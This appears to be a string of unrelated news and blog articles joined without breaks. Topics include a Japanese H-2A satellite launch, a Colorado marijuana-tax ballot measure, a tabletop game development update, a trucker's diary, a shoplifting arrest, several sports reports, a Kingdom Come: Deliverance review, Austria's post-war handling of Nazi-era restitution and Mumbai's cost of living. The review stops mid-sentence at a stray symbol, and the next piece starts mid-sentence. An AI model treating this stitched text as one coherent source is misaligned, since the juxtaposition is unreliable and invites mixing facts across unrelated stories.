Once the first stage completed its job, the second stage took over the flight for three engine burns to inject the payloads into the mission’s two target orbits.
The H-2A rocket blasted off from Japan 72 seconds before a SpaceX Falcon 9 rocket launched from Vandenberg Air Force Base, California.
The back-to-back liftoffs marked the shortest time between two successful orbital launch attempts since the dawn of the Space Age, according to Jonathan McDowell, an astronomer at the Harvard-Smithsonian Center for Astrophysics who tracks global space activity.
The previous record for the shortest duration between two orbital launches was set in December 1970, when a Soviet Kosmos 3M booster and a French Diamant-B rocket lifted off from Russia and French Guiana 4 minutes, 44 seconds, apart, McDowell said.
Saturday’s successful mission was the sixth H-2A launch of the year, and the 37th straight success for Japan’s H-2A/H-2B rocket family.
The Shikisai, or GCOM-C, mission is named for the word for colors in Japanese.
The satellite follows the Shizuku, or GCOM-W, mission launched by Japan in May 2012 to study Earth’s water cycle.
The Shikisai satellite carries a wide-area global imaging instrument package — including a visible and near-infrared radiometer and an infrared scanner — to extend climate observations made by Japan’s ADEOS 2 spacecraft, which succumbed to a power failure and ended its mission in 2003.
During its planned five-year mission, the climate monitoring observatory will make “surface and atmospheric measurements related to the carbon cycle and radiation budget, such as clouds, aerosols, ocean color, vegetation, and snow and ice,” according to a fact sheet released by the Japan Aerospace Exploration Agency.
Scientists say Shikisai’s observations will improve their understanding of climate change, and help numerical climate models predict future changes. The imager will also track phytoplankton, aerosol, and vegetation activity to map fisheries, monitor the transport of dust, and estimate crop yields, according to JAXA.
The smaller of the two satellites launched Saturday was named Tsubame, the Japanese word for swallow, after a public competition.
JAXA said Tsubame is “a perfect nickname for the thin, elongated satellite in super low orbit with a set of solar array wings – what can describe it better than the small, familiar bird flying low?”
Tsubame will use aerodynamic drag to eventually drop into an orbit below 166 miles (268 kilometers), and an ion engine powered by electricity and xenon gas will maintain its altitude between 111 miles (180 kilometers) and 166 miles, counteracting air resistance from the thicker atmosphere at that height.
Designed with aerodynamic stability in mind, Tsubame was built to operate at least two years. The small spacecraft’s ion engine produces thrust equivalent to the weight of a small coin, but it burns little fuel, allowing it to fire for weeks to months continuously.
“An orbit with an altitude lower than 300 kilometers (186 miles) is referred to as “super low orbit,” and it is an unexplored region which has yet to be fully utilized by existing satellites,” JAXA said in a fact sheet for the SLATS mission. “Satellites in a super low orbit will bring benefits such as higher resolution optical observation imagery, lower transmission power for active sensors, and cost reductions in satellite manufacturing and launches.”
A European Space Agency satellite named GOCE flew in a super-low orbit with the aid of an ion engine to measure Earth’s gravitational field and ocean circulation before running out of fuel in 2013 after a four-year mission.
The Tsubame satellite carries a camera to take pictures of Earth from orbit, and an experimental coating on the craft’s thermal insulation to prevent damage from atomic oxygen, a gas present at the orbiting testbed’s planned altitude. Atomic oxygen is known to damage the multi-layer insulation typically used on satellites, according to JAXA.
Japanese engineers want to know how the satellite responds to years of exposure to conditions at the mission’s unusual operating altitude.
Email the author.
Follow Stephen Clark on Twitter: @StephenClark1.The only statewide ballot question in the 2015 election offers a clear choice on how to handle $66.1 million in marijuana taxes collected in the first year of legal pot.
Should lawmakers have permission to spend the money on school construction and other programs? Or should the state refund the money, giving most of it back to recreational pot growers and users?
The measure’s author hopes it’s an easy choice. Earlier this month, state Sen. Pat Steadman, D-Denver, launched a low-profile campaign to gather support ahead of the November vote on Proposition BB.
Steadman designed the language to push voters in a particular direction, working from the foundation that voters twice approved measures in recent years to tax recreational marijuana, starting with the 2012 initiative to legalize pot.
“I sort of wrote it assuming there wouldn’t be much of a campaign, so it needed to sell itself with surface appeal and have popular elements in it, like the school construction money,” Steadman said in an interview.
The “Vote Yes on Prop BB” campaign acknowledges that the marijuana question is complicated by its intersection with the Taxpayer’s Bill of Rights, one of the state’s most polarizing topics. If the measure fails, 62 percent of the refund will go to pot users and growers and the rest to Colorado taxpayers, ranging from $6 to $16 based on income levels.
TABOR requires the state to tell voters how much revenue the new tax will collect and how much total revenue the state will receive in the first year. If actual collections miss either target, a refund is necessary, unless voters say the state can keep it.
The misstep triggers two TABOR mandates: a refund of all the pot tax money collected and the elimination of that tax.
In addition to asking voters to forgo a refund and allow the state to spend it, lawmakers approved legislation to eliminate the marijuana state sales tax for one day to meet the TABOR rule. The state sales tax holiday on recreational marijuana is scheduled for Wednesday, but the 15 percent excise and 10 percent sales tax resumes Thursday.
So far, the ballot measure is facing no organized opposition.
Steadman, who is working with political firm RBI Strategies and Research on the campaign, said he doesn’t expect to raise more than $10,000 to promote it. The legislation passed with bipartisan support — only 23 lawmakers, all Republicans, opposed it.
“I think the reason you saw so much consensus … is because our voters have been very clear with us,” he said, citing the 65 percent vote for taxation of marijuana in 2013.
The Cannabis Chamber of Commerce supported the legislation, but it does not plan on putting money toward the Proposition BB campaign.
“I don’t know if really anyone needs to put up any money,” said Tyler Henson, the chamber’s president. “I think people are going to read it and see the value of where the money is going to go, and I don’t think we are going to see too many people oppose it.”
The most vocal opposition is Douglas Bruce, the author of TABOR. The disgraced former state lawmaker — who is once again facing the prospect of jail time — suggests that the $66.1 million request to spend money represents “a tax increase” and the ballot question is plagued with issues that make it unconstitutional. He is threatening to file a lawsuit to challenge the measure, though he acknowledged he likely won’t win.
In a recent legislative hearing where he aired his objections, Bruce took particular aim at how the measure says the money will be spent if it passes. “I think it’s wrong for you to provide a teaser or an inducement for people to vote yes, when you are trying to supposedly be objective and factual,” he said, complaining that some of the programs that stand to benefit “have nothing to do with marijuana.”
House GOP leader Brian DelGrosso also noted that the legislature is not required to spend the money as the ballot measure suggests and asked whether it is “kind of a shell game” to increase state spending.
In rebuttal, Steadman said he sees a “nexus” between the programs — some of which are favorites for certain lawmakers — because they help youth “stay in school and away from drugs.”
He said the measure spends money how people intended when they approved the taxes the first time.
John Frank: 303-954-2409, jfrank@denverpost.com or twitter.com/ByJohnFrank
Follow the money
In November, voters will decide whether to let the state keep and spend $66.1 million in marijuana taxes, or request a refund under the Taxpayer’s Bill of Rights.
If the measure passes, the state is supposed to spend the money on the following:
• $40 million for school construction
• $14.1 million to discretionary accounts controlled by lawmakers
An additional $12 million is earmarked for state programs:
• $2.5 million for marijuana education and prevention campaigns
• $2 million for bullying prevention school grants
• $2 million for dropout prevention school grants
• $2 million for youth mentoring services
• $1 million for a one-time grant to poison control centers
• $1 million for local government marijuana impact grants
• $500,000 for substance-abuse screening and intervention programs
• $500,000 for substance-abuse treatment
• $300,000 for Future Farmers of America and 4-H programs at the State Fair
• $200,000 for roadside impaired-driving enforcement training for law enforcement
If the measure fails, the refund will go to the following:
• $25 million to Colorado taxpayers, ranging from $6-$16 each based on income level
• $24 million to recreational marijuana growers
• $17 million to recreational marijuana users through a temporary sales tax break from 10 percent to 0.1 percent starting in January Source: Colorado Legislative Council
Updated Sept. 14 at 11:30 a.m.: Colorado has a 10 percent sales tax on recreational marijuana and a 15 percent excise tax on wholesale transfers. Previous versions of this story incorrectly stated the tax rates.Open Dev: Closing the Review Window for Hunter: The Vigil 2E Submissions
Hunter: The Vigil, Open Development
Closing Submissions for Review – Submissions sent to us after July 31, 2016 will not be considered for the core rulebook. While Open Submissions for Onyx Path itself will not close, I need to make this a cut off date so I can formalize the team for the core rulebook. Once again: Open Submission will not close; this is my internal cut off date, so if you planned subbing do so now. I will and do plan on hiring and training up new writers, but I have to balance open submissions against our existing cabal of freelance writers so I can deliver the core rule book per the schedule I’m firming up. There may be other opportunities in the future for the line, but right now my primary concern is the core rulebook.
Gen Con 2016 – I am a Gen Con Industry Insider this year along with Eddy Webb, who you know from the Vampire: The Masquerade 20th Anniversary Edition line and Pugmire. I will be at some Onyx Path panels as well, and have one or two slots scheduled in the booth plus, plus, plus I’ll be talking about my work on “Doubting Souls” from Dark Eras.
Planning Phase Coming to a Close – Working through the kinks, as I want to be crystal clear about my instructions. I have been scrambling to clean everything off my desk prepare for the show, in part because I have two other cons in August. I will be at World Con 2016 this year in Kansas City, and I am booked solid for that show, too. Plus, I’m also doing a local convention called Geek*Kon as a guest as well, and I want to come back after Labor Day and hit writing/editing/development hard.
Since I have approximately three weeks of travel in August, I’m not going to be able to pick up OpenDev right away until I have more news. My goal is to use OpenDev as a way of vetting certain aspects of the system we need to revise, but also I am keen on ensuring that the setting bits sound and remain authentic. I feel that, of all the game lines, Hunter is the every player’s game and I want to take advantage of OpenDev to get feedback like I did in the past. Having said that, I know that whatever I do will not make every fan happy and really, that’s not feasible. My goal is to do the best job I can in order to create a game that many different types of players and Storytellers can get something out of, while remaining true to Hunter: The Vigil‘s origins and legacy.
That’s all for now, as I do have to hustle if I want to survive August. Later!I arrive in Sharon, PA at the Petro Truck Stop. It is a fairly nice truck stop, clean and quiet for the most part but since it is starting to get later in the day the parking lot is very full. I have a hard time finding a parking spot that is open but finally another driver pulls out of a spot and I go for it. It is a tight spot to back into. I get lined up on my spot and wiggle my way in very carefully.
Settled into my parking spot I finish up my log book for the night and make a bowl of Dinty Moore beef stew in my microwave. I am trying to save money by not eating in overpriced truck stops! I pop in a DVD and watch a movie as I lay in my small bed.
Knock… Knock… I was just about asleep. I go up to my drivers side cab window and I see an older man standing outside my door. I roll the window down part way and he says “I have this amazing cleaning solution that you can add to your washer fluid that keeps all the bugs off.” I reply “naaa” and he walks to the next truck. I head back into the sleeper and drift of to sleep.BAYONNE -- A 32-year-old woman has been charged with stealing 144 bottles of nail polish from CVS last month, authorities said.
Jamie Esposito, of Kennedy Boulevard, was arrested on Wednesday after she was caught shoplifting from another pharmacy, Bayonne police said in a statement.
Officers were called to the Rite Aid on Broadway on reports of a shoplifter. Esposito allegedly admitted to taking $63.98 worth of formula and was found carrying a hypodermic needle and drugs, police said.
$1,400 worth of nail polish stolen from CVS: cops A shoplifter swiping 144 bottles of nail polish from a local drug store was among four thefts reported in one day, police said.
While being processed on last week's arrest, police determined Esposito was responsible for the Nov. 6 shoplifting incident at CVS on Avenue C. In that theft she allegedly stole $1,400 worth of nail polish.
Caitlin Mota may be reached at cmota@jjournal.com. Follow her on Twitter @caitlin_mota. Find The Jersey Journal on Facebook.First-year Orlando Pride players Camila Martins Pereira and Chioma Ubogagu have so far had career seasons in their first year in the City Beautiful.
(Photo by Victor Tan / New Day Review)
ORLANDO, Fla. – First-year Orlando Pride players Camila Martins Pereira and Chioma Ubogagu both had previous National Women’s Soccer League stints with the Houston Dash. Camila most recently played with the team in 2015, and Ubogagu was with the Dash last season. Now with the second-year Pride squad, a new sense of freedom and a coaching staff with opportunities abound have helped both players elevate to new levels in their careers.
For Camila, who recorded just seven shots in the 2015 season, head coach Tom Sermanni has given her the freedom to play in positions she’s most comfortable—namely, attacking ones.
“I don’t have anything [bad] to say about [former Dash head coach Randy Waldrum]. Randy was a great coach, and he helped me a lot when I was there,” Camila said, translated from Portuguese, after training Thursday. “But here it’s been kinda different. So I loved it when I got here. I have more freedom. I feel more at home when I’m here. With the teammates, they’re all welcoming really well. Coach Tom is an awesome coach, and he’s been helping me a lot and giving me a lot of freedom when I’m playing.
“So, I don’t have any complaints about here. I love being here, and I’m really happy.”
The relationship between Sermanni and Camila wasn’t always so clear. For starters, Sermanni saw Camila as a full-back when she was first signed, as it was uncertain whether left-back Steph Catley would return to the Pride during the offseason. But the second-year Pride boss quickly saw the Brazilian’s potential in the attack.
“So [Camila’s] been a revelation now,” Sermanni told New Day Review after training Thursday. “She’s adapted in two ways. One, just her sheer ability and what she’s produced for the team but also her flexibility. You know, we played her…as a No. 10; we played her in the right wing; we played her in the left wing; we played her at full-back; we played her just as an orthodox midfield player. So we’ve literally played her anywhere on the field. And she’s just a really good football player and probably could play at center-back if we put her there, except, you know, she doesn’t like to defend too much.”
It’s not only that Camila is playing more freely, but the 22-year-old also said she’s more mature.
“I think it’s totally different [playing in Orlando compared to Houston],” she said. “Now I’m, like, more mature. I have more goals set, and I’m on the right track, so I think it’s been better for me. When I was Dash, I had, like, probably two good games, and then I was on the bench. So I think now it’s totally different for me.”
As for how she is enjoying herself off the field in Orlando, Camila said she’s happy; that, for her, has led to better play on the field. That’s telling simply in the numbers. Compared to her single-digit number of shots in 2015, Camila has so far taken 22 shots (10 on goal) and has recorded three goals and four assists in 2017.
“I feel like when we are happy in the place that we are playing, you know, counting the club and everything off the field, I think it just helps on the field as well,” Camila said. “So it helps with goals, assists and me being happy and doing really well on the field. So then that makes me happy on the field and also makes me happy off the field.”
Ubogagu, on the other hand, has enjoyed the opportunities Sermanni has provided his players. For the 24-year-old, she said Sermanni and his staff gave every player a fair shot at the beginning of the season and that they “aren’t set in their ways.”
“I think it’s a little different. I’m definitely grateful that, you know, Tom’s giving me the opportunity,” Ubogagu said after training Thursday. “I think the opportunities in Houston lacked a little bit… In preseason, Tom made a point to say everyone was gonna get a fair chance, and he just wanted to see who could compete and who could, you know, fight for minutes. So, hearing that is really nice ‘cause coaches aren’t set in their ways, and it’s fair game, so I was really trying to embrace opportunity there.”
The way Sermanni runs his team reminded Ubogagu of how English Premier League teams operated, too.
“Like I said, [Sermanni’s] not set in his ways of, ‘Oh, like, I expect this player to do this thing,’” Ubogagu said. “If someone who maybe wasn’t in the starting 11 had a really good performance in practice, he’s gonna give you an opportunity, you know? And that’s really cool, and I think it kinda mirrors how the EPL is. You see lineups totally different from the FA Cup to an English Premier League game. And I think when we had three games in one week, the lineup was different every time, but we were getting points, and it was working. So I think the coaches did a really good job of managing the players and playing who they think can succeed against the opponent we’re playing.”
As for Sermanni, he had been looking to give Ubogagu an opportunity since before she was even a professional. While Ubogagu was still playing for Stanford University, the then-United States women’s national-team head coach had his eyes on her.
“So what we saw in Chi was potential. I’d watched particularly when I was the national-team coach,” Sermanni said. “Chi was in the under-23 squad. So I saw her at some camps. Then I was staying on the West Coast, so I saw her play Stanford quite a bit. And what I saw was potential but a question mark on the final product. So, you go, and you watch, and she’ll catch your eye every game with a dribble or a shot or, you know, just getting into space… It’s stuff you think, ‘Well, is something going to happen?’ And quite often it would sort of peter out, in a sense, without a real end product.
“Then I saw her in the league at Houston, who are a good side. And, again, she caused us some problems when she was at Houston. So, the potential is all there… So we’re now beginning to see more-consistent end product for that, and I think that’s the key as it goes along is that we start to see more and more end product from our strikers.”
Ubogagu has already produced more this season in about 200 less minutes than she did last season with Houston. So far this year, she has tallied two goals and an assist on 19 shots (nine on goal) in 600 minutes. Last year, she had just one goal and an assist on 16 shots (seven on goal) in 805 minutes.
Perhaps a newly introduced factor in the equation of more goal-scorers for the Pride has helped Sermanni’s side. Five-time FIFA World Player of the Year Marta Vieira da Silva also joined the Pride this season, and Sermanni has partially attributed the newcomers’ successes to the Brazilian.
“I think a great advantage for them is being in a training environment with somebody like Marta, who barely makes a mistake,” Sermanni said. “You know, it’s what I’d probably call the professionalism of players. So you’ve taken all this talent, and you hope then that they keep producing this talent, and then, at the end of it, there’s a product.”
The Pride travel to face the Chicago Red Stars for a 3:30 p.m. matchup on Saturday.
For more on the Pride as they look for their first-ever win against the Red Stars, follow Victor Tan on Twitter at @NDR_VictorTan.Leonard Hankerson's season is over, the Washington Redskins announced Monday, due to a torn labrum in his right hip. The rookie wide receiver suffered the injury during his breakout performance against the Miami Dolphins on Sunday afternoon. Hankerson, making his second start of the season for the injured Santana Moss, caught eight passes for 106 yards. That's no mean feat, as no other Redskins receiver had more than three receptions or 37 yards in that 20-9 loss.
Hankerson's season ends with the former Miami Hurricane recording 13 receptions for 163 yards and no scores. The Redskins made him the No. 79 overall pick in the 2011 NFL Draft. With Moss and Hankerson out, Washington's top receiving options are tight end Fred Davis and wideout Jabar Gaffney. Niles Paul is another injured Washington wide receiver.
For more on the Washington Redskins, check out SB Nation's Redskins blog Hogs Haven. For more on the Redskins vs. Dolphins game, visit this StoryStream. For more on the Dolphins, visit SB Nation's Dolphins blog The Phinsider.Derrick Rose practiced fully Sunday and said he's aiming to return Tuesday against the Trail Blazers, barring a setback with the left ankle he sprained last Monday.
If Rose returns, that's another offensive option for the Bulls to integrate.
Rose said in training camp that with so many offensive options, there's no reason for him not to average seven assists. That's the unselfish mindset the Bulls need moving forward to keep players happy, egos in check and mismatches recognized.
"It's hard," Rose said about keeping everybody happy. "But at the same time, you have to give yourself up for the team. We have a deep team.... I think everybody just wants to win games."
After Friday's loss to the Warriors, Pau Gasol offered some strong words about the offensive balance, about needing to recognize mismatches and not merely settle for jumpers. Following film review, coach Fred Hoiberg agreed.
"Late in the game, we missed a couple times to enter the ball into the post when we had mismatches and ended up taking forced jump shots at the end of the shot clock," Hoiberg said. "When Pau has a guard on him and he's got a foot in the paint, we've got to find a way to deliver the ball."
Photos of Derrick Rose, the Bulls' No. 1 pick in the 2008 draft.
Hoiberg said there were plenty of instances in which the Bulls did recognize mismatches and made the right play, citing some high-low passes from Gasol to Nikola Mirotic. And the first-year coach said he's not concerned about keeping everybody happy in his equal-opportunity offense.
"The big thing is if you cut and move and screen and do the unselfish things, that stuff takes care of itself," Hoiberg said. "With Pau, you give him the ball at the elbow and he can make plays. He's a very good passer. But we can't stand. That's where we need to get better. We've made improvements from where we were at the beginning of the season. But it needs to continue to get better."
As a point guard with scoring ability, Rose said he also has to walk a fine line between attacking and facilitating. But it's a process with which he has grown comfortable over the years.
"You have to get used to how everyone plays," he said. "I'm pretty used to everybody and the way they want the ball and the spot they want the ball. I think I do a good job reading it."
Jimmy Butler, who has taken a more primary ball-handling role in Rose's absence, said he's less worried about the offensive end.
"We've got guys who can score so well on offense, but then you forget how important it is to play defense," he said. "You start thinking you can outscore guys. That's where we have to get better. We've got guys who can score. Everybody on the team and league knows that. But we also have to get stops."
Layups: The Bulls assigned Cameron Bairstow to the Austin (Texas) Spurs of the NBA's Development League.... Aaron Brooks is improving but didn't practice and is out Tuesday with a strained left hamstring.
kcjohnson@tribpub.com
Twitter @kcjhoopWhen you hear the words "Medieval" and "RPG" in the same sentence you probably think of hacking away at mystical dragons and monsters with your sword or axe. In Kingdom Come: Deliverance, there are no fire-breathing lizards, or evil dark knights. The game pushes aside the fantasy for a story based in the true history of Bohemia, giving you a vibrant and authentic world to explore from a first-person perspective and mold by your choices. But what makes Kingdom Come stand out is its focus on delivering a genuine Medieval world experience without the hud indicators, map waypoints, and handholding of the typical RPG.
Developer Warhorse Games really wants players to immerse themselves in the world, but the main character definitely isn't the center of the events happening around him. If you dilly dally, taking your time to complete a mission or get distracted for too long crafting potions, your mission will play out on its own. If you were meant to rescue a fugitive from a group of bandits, you may find that fugitive murdered in a dank cave if you take too long. Or if you decide not to take part in a battle, the event will play out without your influence - leaving you to deal with the results. This creates a fascinating branching narrative that is difficult to predict and feels completely organic.
You'll need to find your way around the game's locations and accomplish your missions by interacting with the game's populous, but not like you would in your standard RPG. There are dialogue trees to navigate conversations and in order to get the desired information, you’ll have to choose your words carefully or risk ruining your reputation or missing out on quest clues completely. Kingdom Come doesn’t hold your hand through quest lines with talk-to-this-lady NPC markers or glowing breadcrumbs to lead you to your next destination. Oftentimes, you actually have to listen to what people say and figure the directions for yourself. It can even go so far as an NPC telling you to turn right at a bolder or to look out for a specific tree.
Even the progression system takes a more realistic approach. Every skill you learn is enhanced by performing specific activities. Increasing your strength and fighting ability requires you to engage in combat. As you speak to other characters, you develop a higher speech skill which will eventually allow you to persuade and intimidate NPCs. But it isn't just skill level that affects your abilities in the world. For example, the success of your persuasion or intimidation attempt considers more factors than your speech skill - it also looks at what you're wearing. If you wear a massive set of plate armor and carry a giant axe, you're more likely to intimidate the other character. On the other hand, wearing more lavish, noble clothing will help you be more persuasive in conversations.
Though much of the game is focused on interacting with the world and affecting the world's events with your choices, a medieval RPG wouldn't be complete without armored knights trying to bash through each other's armor in with barbaric weapons. Melee combat in Kingdom Come takes a realistic approach as well, giving you direct control over your offensive swings and defensive parries with a variety of period weapons like hand-and-a-half swords, swords and shields, maces, and axes. You control the direction of every swing of your weapon, choosing any direction from horizontal slashes and stabs, to diagonal cuts and top-down vertical slices. Changing swings can open up vulnerable areas in your opponent's defense, which you will need to act on. Combining your attacks with defensive parries and blocks (performed by a single button press) will keep your opponent off balance, and hopefully allow you to strike a killing blow.
Kingdom Come: Deliverance borders on a Medieval simulator. Everything from the historically accurate environments, the events that carry on with or without you, and |
Eastern Europe. All of them were now actual or potential targets of aggression. Those who did not manage to navigate their way through the thicket of emigration regulations, as they tried to escape from the country, faced an escalation of oppression (especially after the November pogrom of 1938). When flight was no longer possible those remaining in Austria (an estimated 60,000) were deported to concentration camps and murdered. Only a handful survived underground. As well as the Jews, nearly 10,000 Roma and Sinti (most of whom lived in the province of Burgenland, near the Hungarian border) were deported, and murdered by the Nazis; a range of other ethnic groups (among them Slovenes) and political opponents - from Catholics and conservatives to Communists - were also persecuted, albeit with less perfectionism. Top
Austria as victim? In Moscow, in October 1943, the Allies decided that Austria should be reestablished as an independent state, once the war was won. At the same time they described Austria as the 'first victim of Hitlerite aggression'. Many of Austria's post-war leaders, after some initial hesitation, took this as a lifeline to help them in the foundation of a post-war project, in which Austria claimed it was not guilty for what had happened in the country during the Nazi years. The investigation claimed that only a handful of traitors had collaborated with Nazi rule. An investigation by the Austrian government in 1946 described Austrian suffering under German rule, and Austrian resistance to that rule. It also claimed that only a handful of traitors had collaborated with the Nazis. At the end it demanded 'justice for Austria', by which it meant the speedy end of the Four-Power occupation (in fact this occupation was to last until the State Treaty of 1955). Using this logic, they suggested that justice - including compensation or reparation - for the victims of Nazi rule was a matter for Germany. The Austrian state could not be held liable. Under pressure from the west (the US in particular) post-war Austrian governments did, however, set up a legal administrative framework for returning some of the property taken from victims of Nazi rule in the course of their persecution. Seven laws were passed, and the most important of them (the third) established restitution commissions for deciding on the return of expropriated property. Over 40,000 cases, many of which were extremely complex, came before these commissions. Many of them ended in out-of-court settlements, often involving the payment of an additional amount on top of the derisory amount paid after the Anschluss. Further measures followed the signature of the State Treaty, including the collection and realisation of assets for which no owner or heirs had been found. Top
The Waldheim controversy Throughout this period the charge of 'too little too late' was occasionally levelled at Austria, but it made little impact. Austria was either too small - in international terms - to matter, or it was seen as an enclave of tranquillity and good order (and 'permanent neutrality' between east and west), which ought to be cultivated. Waldheim had concealed or "forgotten" important details of his military service in World War Two. Things began to change in the 1970s, but perhaps the most dramatic turning-point was at the time of the controversy over Kurt Waldheim, the former UN secretary general, who was an Austrian presidential candidate in 1986. Throughout his post-war career Waldheim had concealed or 'forgotten' important details of his military service in World War Two. As his past came to be known, through journalistic investigations and leaks, during his campaign, he spoke of having only 'done his duty' in the German Wehrmacht. It was hardly the comment of a victim of the Nazi regime, and caused a furore within Austria as well as outside it. Nevertheless Waldheim was elected president, and Austria's international standing plummeted. Domestic reaction to the affair consisted partly of a defiant, partly patriotic, assertion of Austria's right to ignore outside opinion. Other elements almost (or actually) offered an apologia for the 'good side' of the Nazi regime; many of these people were found in the Freedom Party (FPO), along with its rising star Jörg Haider. But the Waldheim affair also prompted heart-searching and self-criticism, especially from the post-war generation. And there was by now a more self-confident Jewish community in Austria, whose members were not prepared to keep quiet, or be intimidated by actual or threatened anti-Semitism. Top
The 'politics of sensibility' The international climate was also changing through the 1980s and 90s, as a new 'politics of sensibility' developed. A number of disputes over paintings (such as those by Gustav Klimt) revealed their dubious provenance, and thus brought the issue of the expropriation of the property of Jews to a wider public, and the war record of neighbouring Switzerland also came under scrutiny. In response - after some inept initial reactions - the Swiss set up the independent Bergier Commission to investigate their own country's approach to the Third Reich. And last but not least, 'class actions' on behalf of holocaust victims and forced labourers were started in the US, with the aim of getting compensation and wage payments. So far these have been brought mainly against German companies and banks, achieving, if not massive damages for the claimants, at least legal costs, embarrassment and image problems for those claimed against. This complex of domestic and foreign factors seems to have persuaded the Austrian government (then a coalition of Social Democrat and People's Party) to set up its Historikerkommission in November 1998. From the start there were criticisms that it was a delaying tactic, or state-sponsored whitewash, like the 1946 report referred to above had been. On the other hand, unlike the latter, its independence was laid down in black and white. Its chairman, Clemens Jabloner, was President of Austria's Verwaltungsgerichtshof (Administrative Court), and a leading legal and academic authority. And its other members (including the present writer) were not nominated by the government, but by outside bodies, in a transparent process. An international outcry against the FPO followed... A year after the Historikerkommission was set up, Austria hit the international headlines again, when, in 2000, a new coalition government under Wolfgang Schüssel (of the People's Party) brought Jörg Haider's FPO into the corridors of power. The headlines were in reaction to the acceptance or even approval of aspects of national socialism by Haider, and by some of the party's members. An international outcry against the FPO followed, and reactions included French-led'sanctions', which included the suspending of bilateral cooperation. As far as Austria's Nazi legacy was concerned, the new government was more than anxious to show itself willing to confront it, and talks over the two main problems - compensation for forced labourers, and outstanding compensation issues for Jewish victims - proceeded at breakneck speed. It was agreed that redress for the loss of rental property (59,000 Vienna flats) should be paid out of the Austrian National Fund. Top
Settling claims An important agreement was reached in Washington in January 2001, in the closing days of the Clinton administration, in which the Austrian government agreed to pay into a General Settlement Fund, which would be used for settling outstanding claims. The quid pro quo (not yet achieved) was that no more legal claims would be outstanding in the US (thus reaching 'legal peace'). The commission's findings show how numerous individual Austrians and institutions gained as a result of these activities. In the light of these events, if at first some had seen the Historikerkommission as a delaying tactic, it could now be argued that politics had overtaken research. In fact the commission had helped the progress of negotiations by publishing four interim reports on key issues, made available to all parties and to the public. The commission's findings run to 14,000 pages, including 53 individual reports and one volume of conclusions. This amount of research cannot be easily summarised. But broadly speaking it shows the involvement of Austrian individuals, groups and institutions in all facets of expropriation of assets from the Jewish community in the Nazi years; from daylight robbery to more subtle forms of expropriation in the name of economic rationality. It also shows how numerous individual Austrians and institutions - from Vienna's Dorotheum auction house to the state (federal, regional and local) - gained as a result of these activities. The commission described how a machinery was established in Austria in the first post war decade, to provide restitution to the economic victims of the Nazis. And how some survivors had had some success in getting it. For example the owners of businesses that had not been liquidated (these were in the minority, and were generally the larger firms) had quite a good chance. It also helped if the claim involved real estate. Most moveable property simply disappeared and - apart from identifiable works of art - will presumably never be found. Top
The interests of the victims From the late 1950s funds were set up by the Austrian government, and payments from these offset a proportion of the losses suffered by some victims of the Nazi expropriations. The Historikerkommission, however, gave up the idea of providing a balance sheet showing how these figures tallied against what had been taken. Valuing Jewish assets before the Anschluss, subtracting what was destroyed or removed, calculating what had been returned, and presenting the sum of the outstanding debt was a nice idea, but simply impossible - due to the complexity of the issues, the many price shifts, and the limited reliable source materials (many relevant documents had been shredded). Even estimating the total pre-Anschluss wealth of Austrian Jews was very difficult - the researchers sponsored by the commission attempted to do this, but their answers ranged between 1,800 and 2,900 million Reichsmark.... it was not until the 1980s that the state began to put its weight behind the interests of the victims of Nazi rule. Finally, what of the idea that Austria was a victim of Germany? The report does not throw the idea overboard completely. In international law, the Anschluss was an illegal occupation, and many Austrians - not only Jews - suffered under the regime. But the post-war Austrian state extended this legal argument to arrive at a morally dubious and historically untenable denial of liability for what went on in Austria during Nazi rule, for all of Austrian society. Whether this denial was 'functionally necessary' is debatable. At any rate it was not until the 1980s that the state began to put its weight behind the interests of the victims of Nazi rule. The Historikerkommission has now completed its work, but has hardly ended the many controversies about these and related issues. Exactly what political consequences may follow from its publication is unclear - the commission made no explicit recommendations. But the data unearthed by this - for Austria - unprecedented collective historical investigation seems sure to reverberate for some time to come. The views expressed here are the personal opinions of the writer. The publications of the Historikerkommission can be found on their website and are being published in book form by Oldenbourg Verlag (Munich). Top
Find out more Books Hitler's Austria: Popular Sentiment in the Nazi Era by Evan Bukey (University of North Carolina Press, 2000) Fallen Bastions by GER Gedye (Victor Gollancz, 1939) TopIs Mumbai losing its lure as an employment destination for those who live outside? If what the Loksatta, a major Marathi daily, reported on Sunday is an indication of even a possible trend, it could well be.
Here are the details: Government of Maharashtra wanting to staff some offices in its headquarters, Mantralaya, had sought 2,000 hands from the Maharashtra Public Service Commission, the recruiter. Of the 1,795 persons hired, 824 did not want to join. Of the 971 who took up the jobs, 64 quit in a timeframe of two to three months.
Their reason was simple. Mumbai was too expensive to live in even for a livelihood.
In one department, the identity of which was not revealed, of the 135 persons who were given jobs as assistants, 34 declined. For, Mumbai was not a place where they could make ends meet. The newspaper did not cite any sources but the specificity of numbers indicate that someone either familiar with the happenings or authoritative has revealed the details.
High cost of living included outgoes on housing because whether it is rented or owned premises, the space does not come cheap. Lower housing costs means dropping their anchors in distant suburbs and the trade-off on time spent on commutes.
Only when the finer details of the Census 2011 are out – it has only given the numbers of residents at 1.24 crore, drop in the size of the island city and growth in the suburbs up to Mulund, Dahisar and Mankhurd – would we know what the migration trend is.
Being educated and if even from lower economic strata from within rest of Maharashtra, slumming in the shanties of Mumbai – about 65 per cent of the city’s population live there, as per 2001 Census – would be a huge cultural change. They seem to have indicated a desire to get lower wages back home if possible than the trials and tribulations of Mumbai.
Though Maharashtrians from within the state are migrants to the extent of a third of all who flock to the city, mostly for livelihoods and if female, mostly by marriage, quite some live in the slums. And prominently, those who are white-collared in those communities are the ones who grew up there and did well but remained in the informal housing. They did so because they were used to it and it was even convenient for commutes because slums are not always in distant corners. One can find a shanty town even in the posh corners of South Mumbai.
This is the broad picture. However, this sample, though small, is not to be frowned at as being insignificant because the migrants who came a decade or so ago and those who seek to arrive now would find a phenomenal difference: life is unaffordable.
Curiously, the government pay, even for the lower-tier jobs are better than what they got under the scales of the Fifth Pay Commission. Now substantially higher wages are available under the Sixth Pay Commission. If at higher incomes Mumbai is not easy to afford, what of those in the informal sector?
Those not coming in with good formal sector pay packages have little room for finding housing and even the slums now have a rental market with formal lease agreements drawn up on stamped papers and notarised but not registered as an apartment lessee would have to.
Mumbai is a city of migrants and all except the diehard Marathi manoos accept it, especially the migrants themselves who have been seeing the city as the one that gives scope for survival. So far, the non-Marathi migrants have defied the political hostility and bided their time.
Anecdotal evidence and the surges in population of Mumbai’s satellite cities as per the census 2011, does point to the fact that Mumbai is not being preferred. It also means a different struggle: lower wages in preference to Mumbai’s better packets for locally, these smaller cities have less jobs to offer. Mumbai’s variety too is missing.
So what’s up, demographers, economists, urban planners?
